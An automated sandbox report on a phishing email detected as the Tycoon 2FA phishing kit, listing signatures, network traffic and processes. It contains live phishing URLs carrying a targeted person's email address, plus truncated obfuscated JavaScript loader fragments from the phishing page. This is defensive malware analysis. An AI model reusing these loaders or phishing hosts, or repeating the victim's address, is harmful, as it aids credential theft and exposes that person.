Windows Analysis Report
original.eml

Overview

General Information

Sample name: original.eml
Analysis ID: 1528039
MD5: 2faa494e98f91452fe671513610826b9
SHA1: e7b3e88ef7219532cc24c49d72f151e685495c81
SHA256: 5c5c7ace4ddb9ff4764b3050cee302ee0fb5d584010e8b3a033c571679934ae3
Infos:

Detection

Tycoon2FA
Score: 52
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected Tycoon 2FA PaaS
Phishing site detected (based on favicon image match)
Form action URLs do not match main URL
HTML body contains low number of good links
HTML page contains hidden javascript code
HTML page contains string obfuscation
HTML title does not match URL
Queries the volume information (name, serial number etc) of a device
Sigma detected: Office Autorun Keys Modification
Sigma detected: Suspicious Office Outbound Connections
Stores files to the Windows start menu directory
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Phishing
barindex
Yara detected Tycoon 2FA PaaS
Source: Yara match File source: 0.0.pages.csv, type: HTML
Phishing site detected (based on favicon image match)
Source: https://cyt.sprenumen.ru/wJPIeL/#V#dlaurence.brochu@metalus.qc.ca Matcher: Template: microsoft matched with high similarity
Form action URLs do not match main URL
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: Form action: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c13cb6fd407&redirect_uri=https%3A%2F%2Fsupport.microsoft.com%2Fsignin-oidc&response_type=code%20id_token&scope=openid%20profile%20offline_access&response_mode=form_post&nonce=638639013531968207.MzMxYjcwZjAtMGIwZC00OTdkLTg0MjQtMTA3ZjkzZTI1MTk1ZjMxNWJmYTktYTVlNS00ZWU1LWJkMjQtOGIxNDQ3MTEyZDE3&prompt=none&nopa=2&state=CfDJ8LWN6nmb9HBGpcIJvpEgkL3HwMWhC5CDSxc5fplJTzFedzTbmBtfPLgKDrSP3Smbo7snMUHggeNAAbFUCe-oMACqzRpqbYLASuvZLDeaEjpGoV59zseTjwPzpOJbEBwL_I1gDnJ5ay4JzJbjlO9Ru40iq6U874irOcfGDmwiuh5WzmU1kAR7RuxCLILWUfoQJE6g09uA1p_Qwtp1Fn3-qgIels25Th4F9SGPdn0IseMU6Kxz-Kf8eHtvUdJYNnOMFtoVTZl7q6W05WGLJYNQZ44mweK8mzBZM8D6M1E4UnGO3oLfBUzqeP-03kjNJO0bSRBavuKgIozbz0e9hbsd5EmRO6xNa-GtJfZVgeOrLhEk&x-client-SKU=ID_NET6_0&x-client-ver=8.0.2.0&sso_reload=true microsoft microsoftonline
HTML body contains low number of good links
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: Number of links: 0
HTML page contains hidden javascript code
Source: https://cyt.sprenumen.ru/wJPIeL/#I#dlaurence.brochu@metalus.qc.ca HTTP Parser: Base64 decoded: <svg xmlns="http://www.w3.org/2000/svg" width="32" height="32" fill="none" viewBox="0 0 26 26"><path fill="#d9d9d9" d="M13 0a13 13 0 1 0 0 26 13 13 0 0 0 0-26m0 24a11 11 0 1 1 0-22 11 11 0 0 1 0 22"/><path fill="#d9d9d9" d="m10.955 16.055-3.95-4.125-1.445...
HTML page contains string obfuscation
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/DAFUMPZW/Metalus%20Remittance_7420249835_11053465%20(003).html HTTP Parser: Found new string: script document[giraffe]( upupa + ficus + '></sc' + 'ript>') ;...
Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/DAFUMPZW/Metalus%20Remittance_7420249835_11053465.html HTTP Parser: Found new string: script document[giraffe]( upupa + ficus + '></sc' + 'ript>') ;...
HTML title does not match URL
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: Title: Redirecting does not match URL
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)
Source: https://web10.pro/res444.php?2-68747470733a2f2f4359542e737072656e756d656e2e72752f774a5049654c2f-kelp HTTP Parser: var uozrsqgpvndpexxx = document.createelement("script");uozrsqgpvndpexxx.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(uozrsqgpvndpexxx);uozrsqgpvndpexxx.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoiblnxsit3bg1wmuu3b0rceg85ew1qyjq4wmnlufvqd2xlb3lxvehxbklkrurqduron3rnc1jxzzhiz2lynhvimwzhamjutnazwm1hou9jvvzuvxbxoxbeyznxavp0b1qxtxkwnuhvmglmdk9zcem5eknirmnemfwvs29tb1jurnrudhdvk0y0nfzxtm1ublpyrlh6wxywtw1tz2jpwvz1ueu2mw9ndgvyu2tcl05itjh5vjkzd0m5tef4ajlozgiyulzok2rbdgxcl2ezvziwqmzjsfbqvfjgdvrha3vgq2xnzgi4vflowtayse9jwnzuzevdetfea1prnljhbmxrzxiyvff6wkntvxvrzdhxcmdhxc9ubwmrmthkazrobtvcnxllejlkwwddzdzgakjzqitsswzcl3rldmpkdnveumrkvgnnvvvyzk1mnvp1t1huckfqzmg4cjvgzm5iwmorb1z2ehi1ynv6ynfdahfinghfbxqwk3dzcmron2w5wm5ivjrcl0s1ue1uzhpqy2m1ee1mdtlur0d5zwxdafi5vklwrnzxqkvkq1nhnnfuxc8yzedhk3nwudltv0vvdm5lmdltufcrxc9utfzjqwxwt2o4y1f0dvj2eeg2y0lnsum5dzi3xc9vn0fnt28rtuhquhl0mejqmlu2cjbydhhntgdtzlywsvh2xc92mgrhtlrclznsxc9mtuhfcmlvqtkrsgz3xc...
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3
Source: https://cyt.sprenumen.ru/wJPIeL/#I#dlaurence.brochu@metalus.qc.ca HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: No favicon
Source: https://cyt.sprenumen.ru/wJPIeL/#V#dlaurence.brochu@metalus.qc.ca HTTP Parser: No favicon
Source: https://cyt.sprenumen.ru/wJPIeL/#V#dlaurence.brochu@metalus.qc.ca HTTP Parser: No favicon
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: No <meta name="author".. found
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: No <meta name="copyright".. found
Source: https://support.microsoft.com/en-us/windows/protect-yourself-from-phishing-0c7ea947-ba98-3bd9-7184-430e1f860a44 HTTP Parser: No <meta name="copyright".. found
Source: unknown HTTPS traffic detected: 52.109.20.38:443 -> 192.168.2.16:57790 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.160.20:443 -> 192.168.2.16:57796 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.160.20:443 -> 192.168.2.16:57801 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:57803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:57806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:57807 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:57989 version: TLS 1.2
Source: chrome.exe Memory has grown: Private usage: 1MB later: 31MB
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: unknown TCP traffic detected without corresponding DNS query: 52.109.20.38
Source: global traffic DNS traffic detected: DNS query: web10.pro
Source: global traffic DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: cyt.sprenumen.ru
Source: global traffic DNS traffic detected: DNS query: code.jquery.com
Source: global traffic DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: global traffic DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic DNS traffic detected: DNS query: aka.ms
Source: global traffic DNS traffic detected: DNS query: support.content.office.net
Source: global traffic DNS traffic detected: DNS query: c.s-microsoft.com
Source: global traffic DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic DNS traffic detected: DNS query: mem.gfx.ms
Source: global traffic DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic DNS traffic detected: DNS query: assets.onestore.ms
Source: global traffic DNS traffic detected: DNS query: microsoftwindows.112.2o7.net
Source: global traffic DNS traffic detected: DNS query: logincdn.msftauth.net
Source: global traffic DNS traffic detected: DNS query: acctcdn.msftauth.net
Source: global traffic DNS traffic detected: DNS query: xqe94soygyl0xmmn7oi0raibl6rn1ojg7he0qyjbvy1xxkrsv028hloblup.zentriva.su
Source: global traffic DNS traffic detected: DNS query: noon.com
Source: global traffic DNS traffic detected: DNS query: www.noon.com
Source: unknown Network traffic detected: HTTP traffic on port 58031 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57806
Source: unknown Network traffic detected: HTTP traffic on port 57819 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57825 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57807
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57801
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57804
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57925
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57803
Source: unknown Network traffic detected: HTTP traffic on port 58039 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57921
Source: unknown Network traffic detected: HTTP traffic on port 58016 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58019 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57811 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57860 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57989 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57834 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57914 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57822 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57908 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57819
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57818
Source: unknown Network traffic detected: HTTP traffic on port 57843 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57934
Source: unknown Network traffic detected: HTTP traffic on port 57925 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57935
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57811
Source: unknown Network traffic detected: HTTP traffic on port 58034 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57837 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57946 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57840 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58040 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58027 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57846 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57828
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57827
Source: unknown Network traffic detected: HTTP traffic on port 57827 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57829
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57824
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57945
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57823
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57944
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57826
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57825
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57946
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57820
Source: unknown Network traffic detected: HTTP traffic on port 57903 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58033 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57822
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57821
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57796
Source: unknown Network traffic detected: HTTP traffic on port 58020 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57832 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57807 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57790
Source: unknown Network traffic detected: HTTP traffic on port 57945 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57912 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58028 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57839
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57838
Source: unknown Network traffic detected: HTTP traffic on port 57824 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57818 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57835
Source: unknown Network traffic detected: HTTP traffic on port 58036 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57834
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57837
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57958
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57836
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57831
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58007
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57830
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57833
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57832
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57799
Source: unknown Network traffic detected: HTTP traffic on port 57835 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57840
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58016
Source: unknown Network traffic detected: HTTP traffic on port 57917 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57804 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57934 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58025 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58029 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57821 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57844 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57846
Source: unknown Network traffic detected: HTTP traffic on port 57829 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57845
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57847
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57842
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58018
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57841
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58017
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57844
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57843
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58019
Source: unknown Network traffic detected: HTTP traffic on port 58035 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58025
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58024
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58027
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58026
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58021
Source: unknown Network traffic detected: HTTP traffic on port 57838 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58020
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58023
Source: unknown Network traffic detected: HTTP traffic on port 57841 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57876 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57910 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58026 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57847 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58030 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57801 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57826 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57830 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57864 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58029
Source: unknown Network traffic detected: HTTP traffic on port 57921 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58028
Source: unknown Network traffic detected: HTTP traffic on port 58038 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57790 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57860
Source: unknown Network traffic detected: HTTP traffic on port 58017 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58036
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58035
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57862
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58038
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57861
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58037
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58032
Source: unknown Network traffic detected: HTTP traffic on port 57806 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58031
Source: unknown Network traffic detected: HTTP traffic on port 57833 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57861 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58034
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58033
Source: unknown Network traffic detected: HTTP traffic on port 58023 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58030
Source: unknown Network traffic detected: HTTP traffic on port 57915 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57908
Source: unknown Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57842 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57989
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57903
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57864
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58039
Source: unknown Network traffic detected: HTTP traffic on port 58037 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57916 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57881 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58043
Source: unknown Network traffic detected: HTTP traffic on port 57862 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57836 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58024 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57935 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 58040
Source: unknown Network traffic detected: HTTP traffic on port 58007 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58043 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57820 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57916
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57915
Source: unknown Network traffic detected: HTTP traffic on port 57845 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57917
Source: unknown Network traffic detected: HTTP traffic on port 57958 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57828 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57912
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57914
Source: unknown Network traffic detected: HTTP traffic on port 57796 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58032 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57910
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57876
Source: unknown Network traffic detected: HTTP traffic on port 58018 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 57881
Source: unknown Network traffic detected: HTTP traffic on port 57944 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57799 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57831 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 57839 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 58021 -> 443
Source: unknown HTTPS traffic detected: 52.109.20.38:443 -> 192.168.2.16:57790 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.160.20:443 -> 192.168.2.16:57796 version: TLS 1.2
Source: unknown HTTPS traffic detected: 20.190.160.20:443 -> 192.168.2.16:57801 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:57803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:57806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:57807 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.16:57989 version: TLS 1.2
Source: classification engine Classification label: mal52.phis.winEML@42/103@74/390
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241007T0835180437-6728.etl
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE File read: C:\Users\desktop.ini
Source: unknown Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\original.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "FF7B597F-3020-4A6F-8172-218BC05F430F" "A618A75E-1B2B-41BA-B15A-12C1C9B0E6F3" "6728" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\DAFUMPZW\Metalus Remittance_7420249835_11053465.html
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "FF7B597F-3020-4A6F-8172-218BC05F430F" "A618A75E-1B2B-41BA-B15A-12C1C9B0E6F3" "6728" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 --field-trial-handle=1944,i,3455865811790200313,8750311825173435097,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://aka.ms/LearnAboutSenderIdentification
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1844,i,8970548161277558720,12195311957042810965,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\DAFUMPZW\phish_alert_sp2_2.0.0.0.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\DAFUMPZW\Metalus Remittance_7420249835_11053465.html
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://aka.ms/LearnAboutSenderIdentification
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
